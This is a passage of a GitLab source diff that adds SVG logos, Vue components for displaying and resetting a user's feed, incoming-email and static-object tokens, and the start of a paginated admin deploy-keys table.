-<svg id="Logos" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="80" height="80" viewBox="0 0 80 80"><defs><style>.cls-1{fill:#7a869a;}.cls-2{fill:url(#linear-gradient);}.cls-3{fill:url(#linear-gradient-2);}</style><linearGradient id="linear-gradient" x1="38.11" y1="18.54" x2="23.17" y2="33.48" gradientUnits="userSpaceOnUse"><stop offset="0.18" stop-color="#344563"/><stop offset="1" stop-color="#7a869a"/></linearGradient><linearGradient id="linear-gradient-2" x1="42.07" y1="61.47" x2="56.98" y2="46.55" xlink:href="#linear-gradient"/></defs><title>jira software-icon-gradient-neutral</title><path class="cls-1" d="M74.18,38,43,6.9l-3-3h0L16.58,27.32h0L5.86,38a2.86,2.86,0,0,0,0,4.05L27.28,63.51,40,76.25,63.47,52.81l.36-.36L74.18,42.09A2.86,2.86,0,0,0,74.18,38ZM40,50.77l-10.7-10.7L40,29.37l10.7,10.7Z"/><path class="cls-2" d="M40,29.37A18,18,0,0,1,40,4L16.54,27.37,29.28,40.11,40,29.37Z"/><path class="cls-3" d="M50.75,40,40,50.77a18,18,0,0,1,0,25.48h0L63.5,52.78Z"/></svg>
diff --git a/app/assets/images/logos/shimo.svg b/app/assets/images/logos/shimo.svg
new file mode 100644
index 00000000000..65bd1cc7167
--- /dev/null
+++ b/app/assets/images/logos/shimo.svg
@@ -0,0 +1 @@
+<svg fill="none" height="16" viewBox="0 0 16 16" width="16" xmlns="http://www.w3.org/2000/svg"><path d="m7.99985 15.9997c4.41815 0 7.99985-3.5817 7.99985-7.99985 0-4.4182-3.5817-7.99985-7.99985-7.99985-4.4182 0-7.99985 3.58165-7.99985 7.99985 0 4.41815 3.58165 7.99985 7.99985 7.99985z" fill="#3f464a"/><g fill="#fff"><path d="m10.1501 3.13098c.0077.00805.017.01641.025.02601l.2988.34857c.0099.01099.0189.0228.0269.03529.0048.00966.0075.0202.0081.03096.0001.00853-.0027.01685-.0079.02359-.0053.00675-.0126.01153-.0209.01355-.0147.00206-.0295.0032-.0443.00341l-.70117.00991c-.24229.0035-.48457.0067-.72686.00959-.22104.00248-.44207.00372-.6631.00681-.20401.00248-.40801.0065-.61171.00991-.01269 0-.02538 0-.03807.00248-.00527 0-.01115.00959-.00867.01393.00455.00951.00972.01871.01548.02755.0552.07835.12273.14725.19998.204.0356.02662.07368.04984.11051.07523.01242.00804.02403.01727.03468.02755.00948.01029.01475.02377.01475.03777 0 .01399-.00527.02747-.01475.03776-.00419.00471-.00886.00896-.01394.0127-.01157.00943-.02097.02126-.02755.03467-.06748.11309-.13507.2266-.20276.34052-.10524.17487-.22146.34289-.34796.50305-.01089.01016-.01917.0228-.02415.03684-.00017.00237-.00017.00475 0 .00712.00497.00357.01026.00668.01579.00928.06192.0257.126.05077.18884.07678.01379.0055.02849.00834.04334.00836h.05758 1.5045.05108c.00857-.00025.01691-.00276.0242-.00727.00728-.00451.01325-.01087.01728-.01843.00743-.01284.01395-.02618.0195-.03993.02167-.0483.04303-.09721.0647-.1455.00487-.01181.01089-.02311.01796-.03374.00581-.00902.01482-.01551.02521-.01815.0104-.00264.02141-.00125.03082.00391l.02786.01548.33527.19688c.01106.00633.02144.0138.03095.02229.00321.00283.00551.00654.00661.01067s.00096.0085-.00042.01255c-.0034.0099-.00804.0195-.01238.0291-.0291.06191-.05696.12382-.08823.18388-.02023.03975-.03033.08388-.02941.12847v1.02003c0 .09999.00001.19998-.00247.29966-.00185.09338-.01054.1865-.02601.27861-.00686.04206-.01721.08348-.03095.12382-.02828.08507-.07696.16191-.14178.22382-.05123.04802-.10725.09065-.16717.12723-.01271.00783-.0275.01161-.04241.01084-.00639-.00011-.01258-.0022-.01773-.00596-.00516-.00377-.00902-.00904-.01106-.01509-.00248-.00805-.00403-.01641-.00588-.02477-.00918-.0392-.02055-.07785-.03406-.11578-.01986-.05201-.05688-.0957-.10494-.12382-.00743-.00402-.0157-.00625-.02415-.0065-.01485-.00078-.02972-.00078-.04457 0-.15912.00774-.31855.00743-.47798.00866l-.75875.00589c-.0743 0-.14859.00216-.22289.00402-.01637-.00159-.03289.00009-.0486.00495-.00376.00242-.00682.00578-.00888.00974-.00207.00397-.00306.0084-.00289.01286-.00557.03096-.0099.06192-.0164.09287-.01604.07268-.04132.14301-.07523.20927-.05921.11305-.13198.21846-.2167.3139-.0047.00582-.01055.01061-.01719.01407-.00663.00346-.01391.00551-.02137.00603-.00747.00053-.01496-.00049-.02201-.00299s-.01352-.00643-.01899-.01154c-.00892-.00618-.01504-.01564-.01702-.02631-.00186-.01023-.0031-.02057-.00372-.03096 0-.02321 0-.04674 0-.06996v-2.37841c0-.01702 0-.03436 0-.05107 0-.01672.00589-.03096-.0099-.04087-.01393.00279-.01951.01517-.02724.02477-.18029.22601-.37688.43853-.58818.63585-.29527.27883-.61431.53136-.95348.75473-.01764.01176-.0356.02321-.05386.03405-.00952.00504-.02063.00615-.03096.00309-.00515-.00121-.0099-.00373-.01381-.00731-.0039-.00357-.00682-.00809-.00848-.01312-.00253-.00507-.00335-.01082-.00234-.0164.001-.00558.00378-.01068.00792-.01455.01393-.01301.02848-.02539.04334-.03746.11722-.09494.23124-.19369.34207-.29626.3874-.36168.72258-.77551.99588-1.2296.16487-.27522.31301-.56013.44361-.85317.08668-.19162.16717-.38572.2458-.58075.02446-.06191.01207-.06191-.04055-.06191l-.34424.00898c-.20401.00557-.40771.01052-.61171.01671-.13157.00434-.26313.01084-.39501.01672-.01482.00051-.02963-.00115-.04396-.00495-.01457-.00344-.02781-.01109-.03808-.02198-.00588-.00619-.01145-.01239-.01702-.01889-.04768-.05407-.09525-.10845-.14271-.16314-.0068-.00812-.01271-.01694-.01765-.02631 0-.00217.00186-.00991.00372-.01022.0126-.00195.02532-.00299.03807-.00309h.31236.88629l.79033-.00248c.25715 0 .5143-.00093.77145-.00279l1.01383-.00247c.01268-.00078.0254-.00078.03808 0 .01271.00099.02548-.00098.03729-.00576.01182-.00478.02237-.01224.03081-.02179.08947-.08421.18017-.16779.27087-.25168.0105-.00929.0189-.0226.0378-.02446zm-2.54778 3.05791v.8476c0 .02105 0 .04241.00217.06191.00051.00421.00239.00813.00536.01115s.00685.00498.01105.00557c.01888 0 .03808.00185.05727.00185l1.44011-.00433h.03096c.01172.00058.02344-.00133.03438-.0056.01093-.00427.02085-.0108.02908-.01917.0125-.01146.02409-.02388.03467-.03714.03005-.03864.05291-.08237.06749-.12909.01811-.05894.02678-.12038.02569-.18203 0-.46745-.00062-.93489-.00186-1.40234 0-.01703 0-.03405 0-.05077-.0006-.00849-.00247-.01684-.00557-.02476-.00288-.0103-.0089-.01945-.01722-.02616-.00833-.00672-.01854-.01067-.02921-.0113-.01053 0-.02136 0-.03096 0-.10835 0-.2167-.00341-.32505-.00341-.32731 0-.65442 0-.98133 0-.08699 0-.17429.00403-.26127.00557-.01487.00085-.02941.00469-.04276.01129-.01335.00659-.02524.01581-.03495.0271-.01269.013-.0065.03096-.00712.04891-.00062.01796 0 .03096 0 .04458z"/><path d="m6.35047 8.7363c.01814-.00207.03651.00027.05356.00681.09287.02662.18574.05293.28046.08017.0365.01068.07435.016.11238.01579l1.99857.00186h.71695c.08978 0 .06904.0096.11269-.06377.02352-.04025.04674-.08049.07027-.12042.00261-.0047.00697-.00817.01212-.00968.00516-.00151.0107-.00092.01543.00163l.02786.01455c.0904.05077.18079.10154.27364.14766.0369.01827.0585.03096.0273.08389-.0217.03622-.0412.07399-.06195.11021-.01119.01807-.01659.03914-.01548.06037v.03095.686.03808c-.00102.00948-.00015.01906.00256.0282s.00721.01765.01323.02504c.00273.00326.00511.00679.00712.01053.00362.00653.00542.01385.00552.02129 0 .00745-.0018.01479-.00528.02136-.0035.00657-.00858.01217-.01479.01629-.0062.00412-.01333.00663-.02074.00731-.01681.00092-.03366.00092-.05046 0-.22413-.00155-.44857-.00403-.67269-.00496-.26221 0-.52441 0-.78661 0-.01889 0-.03808 0-.05696.00279-.00413.00087-.0079.00296-.01082.00599-.00293.00304-.00488.00688-.00559.01104v.01888.27864c-.00041.0103.00042.0207.00247.0309.00102.0029.00266.0055.00479.0077.00214.0022.00473.0039.0076.005.00802.0025.01639.0035.02476.0031h.91385.07058c.01269-.0118.02538-.0226.03715-.0343l.14704-.1496c.00743-.0074.01517-.0145.02291-.0216.00324-.0027.00729-.0041.01145-.0041.00417 0 .00821.0014.01146.0041.00495.0039.00971.0082.01424.0127l.26003.2513c.00873.0091.0168.0189.02415.0291.00302.0056.00381.0121.0022.0183-.00161.0061-.00549.0114-.01087.0148-.00971.005-.02017.0082-.03096.0096-.01888.0016-.03807 0-.05696 0l-1.36395.0062c-.10401 0-.09287-.0096-.09287.091v.2477c.00004.0104.00097.0207.00279.031.00141.0039.0043.0071.00804.0089.00382.0021.00805.0033.01239.0034h.04426l.69158.0034c.18822 0 .37643.0028.56465.0031.08699 0 .06625.0081.12878-.0489.05325-.0483.10587-.0972.15881-.1458.00864-.0105.02037-.018.03347-.0216.0063.0043.0124.0089.0182.0139.091.0913.1824.1826.2731.2743.0072.0075.0134.0159.0185.025.0016.0034.0025.007.0025.0107.0001.0037-.0007.0074-.0022.0108-.0015.0033-.0037.0063-.0065.0088-.0027.0024-.006.0043-.0095.0053-.0124.0025-.0249.0038-.0375.0041-.0551 0-.1099 0-.165 0-.36591-.0016-.73182-.0041-1.09742-.005-.82552-.0019-1.65041-.0032-2.47469-.004h-.35507c-.01084 0-.02136 0-.03096 0-.01145.0007-.02292-.0011-.03361-.0053s-.02034-.0106-.0283-.0189l-.10773-.1077c-.00121-.0016-.00194-.0035-.00212-.0055s.0002-.004.0011-.0058.00228-.0034.00399-.0044c.00171-.0011.00369-.0016.0057-.0016h.03807l.99619.0059.88815.0065h.05696c.00411-.0009.00789-.0029.01091-.0058s.00514-.0066.00612-.0107c0-.0065.00186-.0126.00186-.0188 0-.1016 0-.2031 0-.3047.00035-.0084-.00091-.0168-.00372-.0247-.00117-.0028-.00298-.0053-.00529-.0073s-.00506-.0034-.00802-.0042c-.02064-.0018-.04128-.0028-.06191-.0028-.20308 0-.40616 0-.60892 0-.22227 0-.44434-.0006-.66619-.0018-.00867 0-.01703 0-.02539 0-.01271.0007-.02541-.0016-.03715-.0065s-.02222-.0124-.03064-.022c-.03251-.0331-.06563-.0659-.09875-.0987-.00253-.0018-.00437-.0045-.00521-.0074-.00085-.003-.00065-.0062.00056-.0091.0031-.0068.00991-.0065.0161-.0065.13745 0 .2749 0 .41234.0016l1.04046.0093h.06346c.00406-.0008.00782-.0027.01088-.0055.00305-.0028.00529-.0063.00646-.0103.00128-.0083.00211-.0167.00247-.0251v-.27859c-.00036-.0084-.00119-.01677-.00247-.02508-.00083-.00414-.00291-.00793-.00595-.01087-.00304-.00293-.00691-.00486-.01108-.00554-.01269 0-.02538-.00185-.03808-.00185-.09503 0-.19038 0-.28542.00185-.29409.0031-.58817 0-.88195 0-.01672 0-.03375 0-.05077 0-.00839.00074-.01641.00373-.02322.00867-.01149.00973-.02244.02006-.03282.03096-.06408.05885-.13032.11455-.19936.16715-.01486.0118-.03095.0226-.04612.0334-.00516.0037-.01065.0068-.01641.0093-.00493.002-.01022.0027-.01549.0023s-.01038-.002-.01496-.0046c-.00457-.0026-.0085-.0063-.01148-.0106-.00298-.0044-.00494-.0094-.00574-.0146-.00155-.0254-.00186-.0508-.00186-.0762 0-.24515 0-.49053 0-.73612 0-.18388 0-.36787 0-.55196-.00287-.02176-.00329-.04377-.00124-.06562zm1.01724 1.09277h.53865.05696c.01888 0 .02693-.00805.02786-.02663.00093-.01857 0-.02941 0-.04426 0-.24085 0-.48169 0-.72253 0-.01703 0-.03375 0-.05077.00002-.00528-.00194-.01037-.0055-.01427-.00355-.0039-.00844-.00632-.01369-.00678-.0192 0-.03808 0-.05696 0h-1.10454-.04427c-.00315-.00036-.00635-.00003-.00937.00095-.00301.00098-.00579.00259-.00813.00473-.00235.00214-.00421.00476-.00546.00767-.00125.00292-.00187.00607-.0018.00925v.05696.70364.04427c.00019.00632.00071.01262.00154.01888.00054.00416.00234.00806.00516.01116.00283.0031.00654.00526.01063.00618.01888 0 .03808.00217.05696.00247zm1.6144-.86679h-.53401c-.07615 0-.07089-.00402-.07089.07337v.71571.04427c0 .02384.00774.03096.02941.03096h.25353c.00527.00006.01048-.00111.01521-.00342.00473-.00232.00885-.0057.01204-.00989l.00774-.00991c.08256-.11785.15112-.2449.20431-.3786.03491-.09285.06447-.18763.08854-.28387.00588-.0226.01083-.0452.01764-.06749.00366-.00982.00866-.0191.01486-.02755.00162-.00133.00353-.00225.00558-.00268s.00417-.00036.00618.00021c.00774.00295.01496.00713.02137.01238.05386.04736.10773.09534.16128.14302.03096.02662.06037.05293.08977.08018.01063.01026.02008.02168.02818.03405.00342.00436.00543.00966.00576.01519s-.00103.01103-.00391.01576c-.03387.06352-.07661.12189-.12692.17336-.03634.03538-.07502.06826-.11578.09844-.09345.06928-.19451.12765-.30121.17398-.01733.00774-.03436.0161-.05139.02446-.00136.00132-.00223.00307-.00247.00495 0 .00495.00186.00743.00743.00774s.01671 0 .02507 0h.75473c.01052 0 .02105 0 .03095-.00186.00413-.00058.00797-.00245.01097-.00534s.00501-.00666.00575-.01076c0-.02105.00217-.0421.00217-.06191 0-.23465 0-.4693 0-.70395 0-.01486 0-.02941 0-.04427 0-.0065 0-.01269-.00155-.01889-.00041-.00417-.00218-.00809-.00503-.01117-.00285-.00307-.00663-.00513-.01076-.00585-.01888 0-.03807-.00186-.05696-.00186z"/><path d="m9.7848 12.8222c.01332-.0133.02849-.0278.04304-.043.07181-.0749.14333-.1498.21666-.2241.0115-.0118.0208-.0273.0378-.031.0102.003.0192.0093.0254.018.1187.1238.237.2476.3551.3715.0056.0062.0108.0128.0154.0198.0021.0036.0034.0076.0036.0118.0003.0042-.0004.0083-.0019.0122-.0016.0038-.0041.0073-.0072.01-.0031.0028-.0068.0048-.0109.0059-.0062.0014-.0125.0023-.0189.0028h-.0507-.53403-2.46788c-.32133 0-.64277.0005-.9643.0015-.12909 0-.25787.0019-.38696.0028-.00836 0-.01703 0-.02539 0-.01167.0002-.02325-.0021-.03393-.0068-.01069-.0047-.02023-.0117-.02798-.0204-.03529-.0393-.0712-.078-.10649-.1173-.0009-.0018-.00137-.0037-.00137-.0056s.00047-.0039.00137-.0056c.00095-.0018.00231-.0033.00398-.0045s.00359-.002.00561-.0023c.01025-.0015.0206-.0022.03096-.0022h.29192c.12383 0 .24518.0016.36808.0019h.73584.64081c.01888 0 .03777 0 .05665-.0022.00412-.0007.0079-.0028.01084-.0057.00293-.003.00488-.0069.00557-.011 0-.0087.00155-.017.00186-.0254 0-.1238 0-.2486 0-.3742-.00017-.0105-.00142-.0208-.00372-.031 0-.0034-.00526-.0065-.00867-.0084-.00357-.0021-.0076-.0034-.01176-.0037-.01486 0-.03096 0-.04458 0-.25157.0023-.50315.0047-.75473.0072-.24332.0024-.48633.0058-.72965.0089h-.09504c-.00851.0005-.01703-.0008-.02503-.0038-.00799-.003-.01527-.0076-.0214-.0135-.04056-.0427-.07987-.0873-.11919-.1313-.00035-.0018-.00025-.0038.00029-.0056s.0015-.0035.00281-.0049c.00357-.0023.00782-.0034.01207-.0031h.05696 1.66208c.08544 0 .07987.0065.07987-.0777v-.5736c-.00217-.0216-.00017-.0433.00588-.0641.00849 0 .01698.0006.02538.0019l.36313.0882c.00433 0 .00804.0028.01207.0037.03436.0102.03808.0207.01641.048l-.03529.0446c-.00161.0026-.00306.0052-.00434.008v.0483.4059.0445c0 .0205.01238.0251.0291.026.01672.001.02539 0 .03808 0l1.10361.0019c.06625 0 .05263.0049.09968-.0406.05944-.0572.11826-.1151.17738-.1727.00898-.0084.01889-.0161.03096-.0251.01084.0093.02074.017.02941.026.08565.0877.17117.1757.25667.2638.0045.0044.0089.009.013.0139.0056.0048.0097.0113.0114.0185.0018.0073.0013.0149-.0015.0218-.003.0055-.0075.0102-.0129.0134-.0055.0031-.0118.0047-.0181.0045-.017 0-.0337 0-.0508 0l-.34884.0025-1.28781.0117c-.01671 0-.03374.0019-.05046.0028-.00407.0011-.00776.0032-.01062.0063s-.00476.0069-.00547.0111c-.00108.0083-.0017.0167-.00186.025v.3808.0189c.00025.0053.00238.0104.00601.0143.00362.0039.00851.0064.0138.0071.01239 0 .02508 0 .03777.0018h.13342l1.1355.0028c.02548.0022.05113.0016.07646-.0019z"/><path d="m10.1624 11.4382c0 .0068 0 .0173-.0034.0275-.0169.096-.0571.1864-.117.2632-.0199.0247-.04399.0456-.0712.0619-.01287.0073-.02646.0132-.04055.0176-.0171.0058-.03544.0069-.05309.0031-.01765-.0037-.03396-.0122-.04721-.0244-.02256-.0192-.04081-.0429-.05356-.0697-.00959-.0189-.01764-.0384-.02631-.0576-.03797-.087-.08086-.1719-.12847-.2541-.03249-.0568-.06912-.1111-.10958-.1625-.03991-.052-.08703-.0979-.13993-.1366-.00681-.0049-.01331-.0105-.01981-.0158-.0065-.0052-.00836-.0185-.0034-.0232.0041-.0044.00954-.0073.01547-.0083.01256-.0007.02514.0003.03746.0028.20435.0435.40349.1087.59405.1944.02293.0108.04583.0216.06813.0337.0148.008.0289.0173.0421.0279.0178.0144.0322.0328.0419.0536.0098.0208.0147.0435.0144.0665z"/><path d="m6.52884 11.8564c-.03474 0-.0692-.0061-.10185-.0179-.05603-.0186-.11082-.0406-.16593-.0619-.02512-.0109-.0466-.0287-.06191-.0514-.01313-.0178-.02058-.0392-.02135-.0613s.00516-.0439.01701-.0625c.01012-.0162.02313-.0304.03839-.0418.01362-.0102.02755-.0195.04148-.0294.06718-.0474.13374-.0957.1972-.1483.04368-.0362.08504-.075.12382-.1164.06313-.0654.11482-.141.15293-.2235.00464-.0096.00898-.0192.01393-.0285.00199-.0037.005-.0068.00867-.0089s.00786-.0031.01207-.0029c.00475.0022.0088.0056.0117.0099s.00453.0094.00471.0146v.0189c-.01207.1154-.02291.2309-.03715.3461-.01021.0817-.02414.1628-.03777.2439-.00493.027-.01207.0535-.02136.0793-.00757.0215-.01721.0422-.02879.0619-.01414.0258-.03538.0471-.06121.0613s-.05518.0208-.08459.0188z"/><path d="m8.77719 11.8183c-.01359 0-.02704-.0027-.03954-.008-.0125-.0054-.0238-.0131-.03321-.0229-.02061-.0215-.03597-.0475-.04489-.0759-.00619-.0176-.00991-.0365-.01486-.0548-.02659-.1042-.06042-.2065-.10123-.3061-.0195-.0469-.04204-.0924-.06749-.1362-.02726-.0477-.06067-.0917-.09937-.1307-.00743-.0074-.01398-.0158-.01951-.0247-.00151-.0038-.00151-.008 0-.0118.00118-.0029.00314-.0054.00565-.0073.00251-.0018.00548-.0029.00859-.0032.01082-.0005.02155.0021.03096.0074.13998.0538.27557.1184.40554.1932.05665.0331.11176.0684.16501.1065.01937.0129.03687.0284.052.0461.01496.0165.0256.0364.031.058.00541.0216.00539.0442-.00004.0658-.00271.0124-.00622.0246-.01052.0365-.0316.0787-.07999.1495-.14179.2074-.02664.0243-.05838.0423-.09287.0527-.01098.0033-.02214.006-.03343.008z"/><path d="m7.56893 11.8338c-.01297-.0002-.02575-.0032-.03742-.0088-.01166-.0057-.02193-.0139-.03006-.024-.01559-.0174-.02731-.0378-.03436-.0601-.00634-.0203-.01161-.041-.01579-.0619-.02196-.105-.05092-.2084-.08668-.3095-.01697-.0478-.03692-.0944-.05975-.1397-.02626-.053-.05981-.102-.09968-.1458-.0061-.0058-.01132-.0124-.01548-.0198-.00121-.0028-.00184-.0058-.00184-.0088s.00063-.006.00184-.0088c.00185-.0025.00417-.0045.00683-.0061.00266-.0015.0056-.0025.00865-.0029.0063-.0001.01251.0015.01796.0046.19823.0843.38537.1925.55722.3223.01674.0129.03266.0269.04767.0418.01878.0188.0319.0425.03787.0684.00596.0259.00453.0529-.00413.078-.00208.0082-.00488.0162-.00835.0239-.03509.0797-.08805.1504-.15479.2064-.02157.0169-.04544.0307-.07089.0409-.0188.007-.03876.0103-.05882.0099z"/><path d="m7.43301 9.75413c-.01598.00163-.0321-.0009-.04681-.00736-.0147-.00645-.02748-.01661-.03708-.02948-.01864-.02588-.03123-.0556-.03684-.08699-.01649-.08282-.03715-.16476-.06192-.24549-.01723-.0545-.03791-.10786-.06191-.15974-.02747-.06198-.06456-.11924-.1099-.16964-.00517-.00655-.00983-.01348-.01393-.02074-.00074-.00302-.00048-.00619.00075-.00904s.00336-.00522.00606-.00675c.0038-.00173.0079-.00268.01207-.00279.0083.00128.01641.00357.02415.00681.17685.07642.34421.17314.49872.28821.02291.01553.04371.03395.06191.0548.01255.0144.02159.0315.02642.04998.00483.01847.00533.03781.00145.05651-.00242.01464-.00647.02897-.01208.04272-.03176.07417-.08042.1399-.14209.19193-.01827.01444-.03836.02641-.05975.0356-.01563.0066-.03228.01048-.04922.01146z"/></g></svg>
diff --git a/app/assets/javascripts/access_tokens/components/token.vue b/app/assets/javascripts/access_tokens/components/token.vue
new file mode 100644
index 00000000000..3954e541fe0
--- /dev/null
+++ b/app/assets/javascripts/access_tokens/components/token.vue
@@ -0,0 +1,55 @@
+<script>
+import InputCopyToggleVisibility from '~/vue_shared/components/form/input_copy_toggle_visibility.vue';
+
+export default {
+ components: { InputCopyToggleVisibility },
+ props: {
+ token: {
+ type: String,
+ required: true,
+ },
+ inputId: {
+ type: String,
+ required: true,
+ },
+ inputLabel: {
+ type: String,
+ required: true,
+ },
+ copyButtonTitle: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ formInputGroupProps() {
+ return { id: this.inputId };
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="row">
+ <div class="col-lg-12">
+ <hr />
+ </div>
+ <div class="col-lg-4">
+ <h4 class="gl-mt-0"><slot name="title"></slot></h4>
+ <slot name="description"></slot>
+ </div>
+ <div class="col-lg-8">
+ <input-copy-toggle-visibility
+ :label="inputLabel"
+ :label-for="inputId"
+ :form-input-group-props="formInputGroupProps"
+ :value="token"
+ :copy-button-title="copyButtonTitle"
+ >
+ <template #description>
+ <slot name="input-description"></slot>
+ </template>
+ </input-copy-toggle-visibility>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/access_tokens/components/tokens_app.vue b/app/assets/javascripts/access_tokens/components/tokens_app.vue
new file mode 100644
index 00000000000..755991f64e0
--- /dev/null
+++ b/app/assets/javascripts/access_tokens/components/tokens_app.vue
@@ -0,0 +1,111 @@
+<script>
+import { GlSprintf, GlLink } from '@gitlab/ui';
+import { pickBy } from 'lodash';
+
+import { s__ } from '~/locale';
+
+import { FEED_TOKEN, INCOMING_EMAIL_TOKEN, STATIC_OBJECT_TOKEN } from '../constants';
+import Token from './token.vue';
+
+export default {
+ i18n: {
+ canNotAccessOtherData: s__('AccessTokens|It cannot be used to access any other data.'),
+ [FEED_TOKEN]: {
+ label: s__('AccessTokens|Feed token'),
+ copyButtonTitle: s__('AccessTokens|Copy feed token'),
+ description: s__(
+ 'AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs.',
+ ),
+ inputDescription: s__(
+ 'AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{linkStart}reset this token%{linkEnd}.',
+ ),
+ resetConfirmMessage: s__(
+ 'AccessTokens|Are you sure? Any RSS or calendar URLs currently in use will stop working.',
+ ),
+ },
+ [INCOMING_EMAIL_TOKEN]: {
+ label: s__('AccessTokens|Incoming email token'),
+ copyButtonTitle: s__('AccessTokens|Copy incoming email token'),
+ description: s__(
+ 'AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses.',
+ ),
+ inputDescription: s__(
+ 'AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{linkStart}reset this token%{linkEnd}.',
+ ),
+ resetConfirmMessage: s__(
+ 'AccessTokens|Are you sure? Any issue email addresses currently in use will stop working.',
+ ),
+ },
+ [STATIC_OBJECT_TOKEN]: {
+ label: s__('AccessTokens|Static object token'),
+ copyButtonTitle: s__('AccessTokens|Copy static object token'),
+ description: s__(
+ 'AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage.',
+ ),
+ inputDescription: s__(
+ 'AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{linkStart}reset this token%{linkEnd}.',
+ ),
+ resetConfirmMessage: s__('AccessTokens|Are you sure?'),
+ },
+ },
+ htmlAttributes: {
+ [FEED_TOKEN]: {
+ inputId: 'feed_token',
+ containerTestId: 'feed-token-container',
+ },
+ [INCOMING_EMAIL_TOKEN]: {
+ inputId: 'incoming_email_token',
+ containerTestId: 'incoming-email-token-container',
+ },
+ [STATIC_OBJECT_TOKEN]: {
+ inputId: 'static_object_token',
+ containerTestId: 'static-object-token-container',
+ },
+ },
+ components: { Token, GlSprintf, GlLink },
+ inject: ['tokenTypes'],
+ computed: {
+ enabledTokenTypes() {
+ return pickBy(this.tokenTypes, (tokenData, tokenType) => {
+ return (
+ tokenData?.enabled &&
+ this.$options.i18n[tokenType] &&
+ this.$options.htmlAttributes[tokenType]
+ );
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <token
+ v-for="(tokenData, tokenType) in enabledTokenTypes"
+ :key="tokenType"
+ :token="tokenData.token"
+ :input-id="$options.htmlAttributes[tokenType].inputId"
+ :input-label="$options.i18n[tokenType].label"
+ :copy-button-title="$options.i18n[tokenType].copyButtonTitle"
+ :data-testid="$options.htmlAttributes[tokenType].containerTestId"
+ >
+ <template #title>{{ $options.i18n[tokenType].label }}</template>
+ <template #description>
+ <p>{{ $options.i18n[tokenType].description }}</p>
+ <p>{{ $options.i18n.canNotAccessOtherData }}</p>
+ </template>
+ <template #input-description>
+ <gl-sprintf :message="$options.i18n[tokenType].inputDescription">
+ <template #link="{ content }">
+ <gl-link
+ :href="tokenData.resetPath"
+ :data-confirm="$options.i18n[tokenType].resetConfirmMessage"
+ data-method="put"
+ >{{ content }}</gl-link
+ >
+ </template>
+ </gl-sprintf>
+ </template>
+ </token>
+ </div>
+</template>
diff --git a/app/assets/javascripts/access_tokens/constants.js b/app/assets/javascripts/access_tokens/constants.js
new file mode 100644
index 00000000000..6188c6d1bb5
--- /dev/null
+++ b/app/assets/javascripts/access_tokens/constants.js
@@ -0,0 +1,4 @@
+// Token types
+export const FEED_TOKEN = 'feedToken';
+export const INCOMING_EMAIL_TOKEN = 'incomingEmailToken';
+export const STATIC_OBJECT_TOKEN = 'staticObjectToken';
diff --git a/app/assets/javascripts/access_tokens/index.js b/app/assets/javascripts/access_tokens/index.js
index 7f5f0403de6..9a1e7d877f8 100644
--- a/app/assets/javascripts/access_tokens/index.js
+++ b/app/assets/javascripts/access_tokens/index.js
@@ -1,9 +1,13 @@
import Vue from 'vue';
+
import createFlash from '~/flash';
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import { parseRailsFormFields } from '~/lib/utils/forms';
import { __ } from '~/locale';
import ExpiresAtField from './components/expires_at_field.vue';
+import TokensApp from './components/tokens_app.vue';
+import { FEED_TOKEN, INCOMING_EMAIL_TOKEN, STATIC_OBJECT_TOKEN } from './constants';
export const initExpiresAtField = () => {
const el = document.querySelector('.js-access-tokens-expires-at');
@@ -81,3 +85,29 @@ export const initProjectsField = () => {
return null;
};
+
+export const initTokensApp = () => {
+ const el = document.getElementById('js-tokens-app');
+
+ if (!el) return false;
+
+ const tokensData = convertObjectPropsToCamelCase(JSON.parse(el.dataset.tokensData), {
+ deep: true,
+ });
+
+ const tokenTypes = {
+ [FEED_TOKEN]: tokensData[FEED_TOKEN],
+ [INCOMING_EMAIL_TOKEN]: tokensData[INCOMING_EMAIL_TOKEN],
+ [STATIC_OBJECT_TOKEN]: tokensData[STATIC_OBJECT_TOKEN],
+ };
+
+ return new Vue({
+ el,
+ provide: {
+ tokenTypes,
+ },
+ render(createElement) {
+ return createElement(TokensApp);
+ },
+ });
+};
diff --git a/app/assets/javascripts/admin/deploy_keys/components/table.vue b/app/assets/javascripts/admin/deploy_keys/components/table.vue
index 97a5a2f2f32..29e8b9a724e 100644
--- a/app/assets/javascripts/admin/deploy_keys/components/table.vue
+++ b/app/assets/javascripts/admin/deploy_keys/components/table.vue
@@ -1,13 +1,33 @@
<script>
-import { GlTable, GlButton } from '@gitlab/ui';
+import { GlTable, GlButton, GlPagination, GlLoadingIcon, GlEmptyState, GlModal } from '@gitlab/ui';
import { __ } from '~/locale';
+import Api, { DEFAULT_PER_PAGE } from '~/api';
+import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+import { cleanLeadingSeparator } from '~/lib/utils/url_utility';
+import createFlash from '~/flash';
+import csrf from '~/lib/utils/csrf';
export default {
name: 'DeployKeysTable',
i18n: {
pageTitle: __('Public deploy keys'),
newDeployKeyButtonText: __('New deploy key'),
+ emptyStateTitle: __('No public deploy keys'),
+ emptyStateDescription: __(
+ 'Deploy keys grant read/write access to all repositories in your instance',
+ ),
+ delete: __('Delete deploy key'),
+ edit: __('Edit deploy key'),
+ pagination: {
+ next: __('Next'),
+ prev: __('Prev'),
+ },
+ modal: {
+ title: __('Are you sure?'),
+ body: __('Are you sure you want to delete this deploy key?'),
+ },
+ apiErrorMessage: __('An error occurred fetching the public deploy keys. Please try again.'),
},
fields: [
{
@@ -29,13 +49,118 @@ export default {
{
key: 'actions',
label: __('Actions'),
+ tdClass: 'gl-lg-w-1px gl-white-space-nowrap',
+ thClass: 'gl-lg-w-1px gl-white-space-nowrap',
},
],
+ modal: {
+ id: 'delete-deploy-key-modal',
+ actionPrimary: {
+ text: __('Delete'),
+ attributes: {
+ variant: 'danger',
+ },
+ },
